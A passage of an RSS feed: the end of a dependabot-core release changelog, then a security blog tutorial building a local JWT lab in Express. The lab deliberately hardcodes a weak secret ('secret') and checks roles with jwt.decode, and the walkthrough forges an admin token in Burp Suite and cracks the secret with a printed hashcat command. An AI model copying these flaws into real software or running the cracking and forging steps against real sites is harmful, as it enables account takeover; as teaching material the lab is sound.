<li>Type Service and ApiClient by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914714552" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15614" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15614/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15614">#15614</a></li>
<li>Add support for calendar-based versions for Maven and Gradle by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yeikel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yeikel">@yeikel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3904944153" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14114" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14114/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14114">#14114</a></li>
<li>Type error reporting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914936590" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15615" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15615/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15615">#15615</a></li>
<li>Type updater dependency helpers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915222773" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15617" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15617/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15617">#15617</a></li>
<li>ensure proper formatting when patching element attributes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931344457" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15629" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15629/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15629">#15629</a></li>
<li>Bump ws from 8.18.3 to 8.21.1 in /npm_and_yarn/helpers/test/npm/fixtures/vulnerability-auditor/update-needed-across-two-versions by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668187184" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15329" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15329/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15329">#15329</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4192916821" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14608" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14608/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14608">#14608</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193074043" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14609" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14609/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14609">#14609</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /npm_and_yarn/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193583048" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14610" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14610/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14610">#14610</a></li>
<li>Bump the dev-dependencies group across 1 directory with 2 updates by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248765071" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14694" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14694/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14694">#14694</a></li>
<li>Bump pip from 26.1.1 to 26.1.2 in /python/helpers in the pip group across 1 directory by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2923161633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/11830" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/11830/hovercard" href="https://github.com/dependabot/dependabot-core/pull/11830">#11830</a></li>
<li>Bump yaml from 2.3.1 to 2.9.0 in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4139279209" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14535" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14535/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14535">#14535</a></li>
<li>npm_and_yarn: group vulnerability auditor blocking-dependency messages by top-level ancestor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930247969" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15627" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15627/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15627">#15627</a></li>
<li>Bump ip-address and socks in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390826842" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14924" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14924/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14924">#14924</a></li>
<li>Bump brace-expansion from 1.1.13 to 1.1.16 in /bun/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933097377" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15634" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15634/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15634">#15634</a></li>
<li>Bump brace-expansion from 1.1.13 to 1.1.16 in /npm_and_yarn/helpers/test/yarn/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933096299" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15633" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15633/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15633">#15633</a></li>
<li>Bump sigstore/cosign/cosign from v3.1.1 to v3.1.2 in /docker in the regclient group across 1 directory by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923388299" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15621" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15621/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15621">#15621</a></li>
<li>Bump lodash from 4.17.23 to 4.18.1 in /bun/helpers/test/npm6/fixtures/conflicting-dependency-parser/deeply-nested by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191577844" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14606" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14606/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14606">#14606</a></li>
<li>Bump @tootallnate/once from 2.0.0 to 2.0.1 in /bun/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496516067" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15107" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15107/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15107">#15107</a></li>
<li>Bump the "uv-ecosystem" group with 1 update across multiple ecosystems by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416107122" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14969" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14969/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14969">#14969</a></li>
<li>Bump ip-address and socks in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390825489" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14923" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14923/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14923">#14923</a></li>
<li>Bump yaml from 2.3.1 to 2.9.0 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4139269626" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/14533" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/14533/hovercard" href="https://github.com/dependabot/dependabot-core/pull/14533">#14533</a></li>
<li>Bump golang.org/x/mod from 0.37.0 to 0.38.0 in /go_modules/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732391" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15559" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15559/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15559">#15559</a></li>
<li>Bump @sigstore/verify from 3.1.0 to 3.1.1 in /npm_and_yarn/helpers by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790653064" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15477" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15477/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15477">#15477</a></li>
<li>julia: don't propose compat updates for workspace packages or synthesize member compat entries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939811993" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15643" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15643/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15643">#15643</a></li>
<li>fix: guard against unparseable versions in cooldown fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/currantw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/currantw">@currantw</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933037458" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15632" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15632/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15632">#15632</a></li>
<li>Type dependency requirement readers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4943567484" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15646" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15646/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15646">#15646</a></li>
<li>v0.388.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4925212017" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15623" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15623/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15623">#15623</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/currantw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/currantw">@currantw</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933037458" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15632" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15632/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15632">#15632</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.387.0...v0.388.0"><tt>v0.387.0...v0.388.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Ways To Mess Up Your JWT Safety Net In Your Own Lab.]]></title>
<description><![CDATA[In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.JWT As Security MeasureJ...]]></description>
<link>https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687361/hacking/two-ways-to-mess-up-your-jwt-safety-net-in-your-own-lab/</guid>
<pubDate>Wed, 22 Jul 2026 20:59:45 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyQaXz8HeN3WWQ1vBcOBPA.png"></figure><p>In the lab we’re going to build today, we’ll talk about JWTs and how they can affect the security of your website. This is a lab that’s been requested, and I could not be happier that the community is actually suggesting things for me to build. It’s a privilege to do this.</p><h3>JWT As Security Measure</h3><p>JSON Web Tokens are used a lot by developers. They provide a way to send ‘data’ with them (e.g., a role from a user), to check for authorization. A JWT consists of 3 parts, separated by a ..</p><p>Let’s take this JWT as an example.</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30</pre><p>The first part eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is called 'the header'. It holds information on the type of the JWT. The second part eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload, which holds the claims. This is where that 'data' lives. If you decode this with Base64url you'll learn that this token belongs to John Doe and that he is an administrator. The last part is the important part. This is the signature. Each JWT should be signed with a <strong>strong</strong> password. Ideally that password is saved in a .env file on the server and not in the code.</p><p>So now you might wonder, well if it’s signed, nothing can go wrong right? Well, if that were true, I wouldn’t spend my evenings writing these kinds of blog posts now would I 😅.</p><h3>Let’s Build The Lab Already</h3><p>You’re right to think this by now. Enough theory, let’s do some hands on keyboard. As always in this series, I’ll provide you with the lab structure and some code to get us started.</p><h3>Lab Tree</h3><pre>/mediumLabs<br>└── /JWT<br>    ├── server.js<br>    ├── login.html<br>    ├── index.html<br>    ├── admin.html<br>    ├── /node_modules<br>    ├── /package-lock.json<br>    └── /package.json</pre><h3>Code</h3><p><strong>server.js</strong></p><pre>const express = require('express');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const Database = require('better-sqlite3');<br>const app = express();<br>const JWT_SECRET = 'secret';<br>const db = new Database(':memory:');<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('user', 'password', 'user')").run();<br>app.use(express.urlencoded({ extended: false }));<br><br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>function getToken(req) {<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET);<br>  res.setHeader('Set-Cookie', `token=${token}; Path=/`);<br>  res.redirect('/index.html');<br>});<br>app.get('/index.html', (req, res) =&gt; {<br>  try {<br>    res.sendFile(path.join(__dirname, 'index.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});<br>app.get('/admin', (req, res) =&gt; {<br>});<br><br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>index.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Home&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in as &lt;strong id="username"&gt;&lt;/strong&gt;.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href="/admin"&gt;Go to Admin Panel&lt;/a&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>&lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        document.getElementById('username').textContent = payload.username + ' (role: ' + payload.role + ')';<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin Panel&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body id="page"&gt;<br>&lt;h1&gt;Admin Panel&lt;/h1&gt;<br>    &lt;p&gt;Welcome, admin. Here is the secret flag:&lt;/p&gt;<br>    &lt;p&gt;&lt;strong&gt;FLAG{JWT}&lt;/strong&gt;&lt;/p&gt;<br>    &lt;br&gt;<br>    &lt;a href="/index.html"&gt;Back to Home&lt;/a&gt;<br>&lt;/body&gt;<br>    &lt;script&gt;<br>        function getCookie(name) {<br>            return document.cookie.split('; ').find(r =&gt; r.startsWith(name + '='))?.split('=')[1];<br>        }<br>        function decodeJWT(token) {<br>            return JSON.parse(atob(token.split('.')[1]));<br>        }<br>        const token = getCookie('token');<br>        const payload = decodeJWT(token);<br>        if (payload.role !== 'admin') {<br>            alert('Access denied. You need to be an admin to view this page.');<br>        }<br>    &lt;/script&gt;<br>&lt;/html&gt;</pre><h3>Let’s Add Some Vulnerabilities</h3><p>Ok, so now we have our base code, and we need to implement the functionality that will make sure only people with the role admin can navigate to /admin. First off, run npm run dev to see your code actually start.</p><p>In a <em>very, very wrong</em> way we already tried implementing security in admin.html. When you look inside the &lt;script&gt; tags, you'll see that if the role is not admin, an alert will pop up. I added this because this was a real-life finding of mine. Some developer did not realise that even if your role isn't admin, you will be able to navigate to the page. The only 'annoying' thing is that you'll have to click OK on an alert box.</p><blockquote><em>It’s important to realise that these mistakes happen more often than you think. Developers with a lot on their plate, little sleep and not enough coffee can truly believe this is ‘secure’.</em></blockquote><p>So let’s now add some real security to the backend! Frontend ‘security’ is ridiculous to start with, so let’s do our very best.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  const token = getToken(req);<br>  if (!token) return res.redirect('/');<br>  const payload = jwt.decode(token);<br>  if (!payload || payload.role !== 'admin') return res.status(403).send('Forbidden');<br>  res.sendFile(path.join(__dirname, 'admin.html'));<br>});</pre><p>Alright, let’s walk through this piece of code. First we look for the token — if there isn’t one, we redirect to /, which is a good strategy. Then we decode the JWT and check if the role is admin. If there's no token, or the role isn't admin, we get a 403.</p><p>Sounds solid, right? If everything checks out, the backend trusts you, because the token says you’re an admin.</p><p>So what’s the problem? The code does check if the role is admin, which is good. But it never checks whether that role actually belongs to you. That check should happen by verifying the JWT’s signature. This code doesn’t, because jwt.decode() only reads the payload, it doesn't verify anything. When the server originally signed this token, it signed it with role: user. If you change the payload to role: admin without re-signing it, the signature no longer matches what's in the token, but since nothing here checks the signature, that mismatch goes completely unnoticed.</p><p>That’s the bug: because that check never happens, we can just change the payload in Burp Suite and see the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_iPpy8etHFbeUZMEijxQg.png"></figure><p>There is a very easy way to solve this though. Instead of using jwt.decode(token) a developer should always use jwt.verify(token, JWT_SECRET). This code makes sure that function will create a signature and check that signature with the signature that has been sent. If there was any tampering with the JWT, this signature won't check out and your access to the restricted endpoint is denied.</p><p>So let’s update our code.</p><p><strong>server.js</strong></p><pre>app.get('/admin', (req, res) =&gt; {<br>  try {<br>    const payload = jwt.verify(getToken(req), JWT_SECRET);<br>    if (payload.role !== 'admin') return res.status(403).send('Forbidden');<br>    res.sendFile(path.join(__dirname, 'admin.html'));<br>  } catch {<br>    res.redirect('/');<br>  }<br>});</pre><p>If you now try the same thing, you’ll end up in the catch block, which will redirect you to / (our login page) because the signature will not check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*HdBUaxOXrt3RO4yj1jdwdw.png"></figure><p>So all safe now, right? Well let’s try something else… If you ever want to crack a secret, I can recommend hashcat. It's available on all platforms and easily installable.</p><p>For this attack we’ll need mode 16500 (this is just a way to tell hashcat what we want to do). We'll also need the flag -a 0, which will tell hashcat to use a wordlist we're gonna provide. Lastly, you'll see -d 1 — that's because I'm on a Mac with an M-chip.</p><p>The complete command looks like this: hashcat -m 16500 -a 0 &lt;JWT&gt; rockyou.txt -d1.</p><blockquote><em>Don’t forget to use the untampered token for this!</em></blockquote><pre>➜  wordlists hashcat -m 16500 -a 0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc rockyou.txt -d1<br>hashcat (v7.1.2) starting<br>&lt;skip&gt;<br>Dictionary cache hit:<br>* Filename..: rockyou.txt<br>* Passwords.: 14344384<br>* Bytes.....: 139921497<br>* Keyspace..: 14344384<br>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImlhdCI6MTc4MzEwNDc0OX0.myFrub4u8yG3IeItDYKO-2Vci6sMfLaJ1OrlQDeuQfc:secret<br>                                                          <br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 16500 (JWT (JSON Web Token))<br>Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...DeuQfc</pre><p>As you can see, at the end of our JWT there is a colon with our JWT_SECRET written behind it.</p><p>Now let’s abuse this knowledge we have gained. In Burp Suite we’ll use functionality that will sign our tampered JWT so that the code will verify it, and the signature will check out.</p><p>In Burp Suite, click on the JWT editor on the top right corner, and choose the option ‘New Symmetric Key’. Once you have that, click specify secret and fill in the cracked JWT_SECRET in there. Give it an ID and click OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzbxce5FoutFU5V4XJZqQ.png"></figure><p>Once you have that, go back to Repeater, change the role back to ‘admin’, click sign and select the ID you just made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-CceFWjnUVgb4tpiq6xGw.png"></figure><p>And now, we have successfully evaded the security that was in place.</p><figure><img alt="" 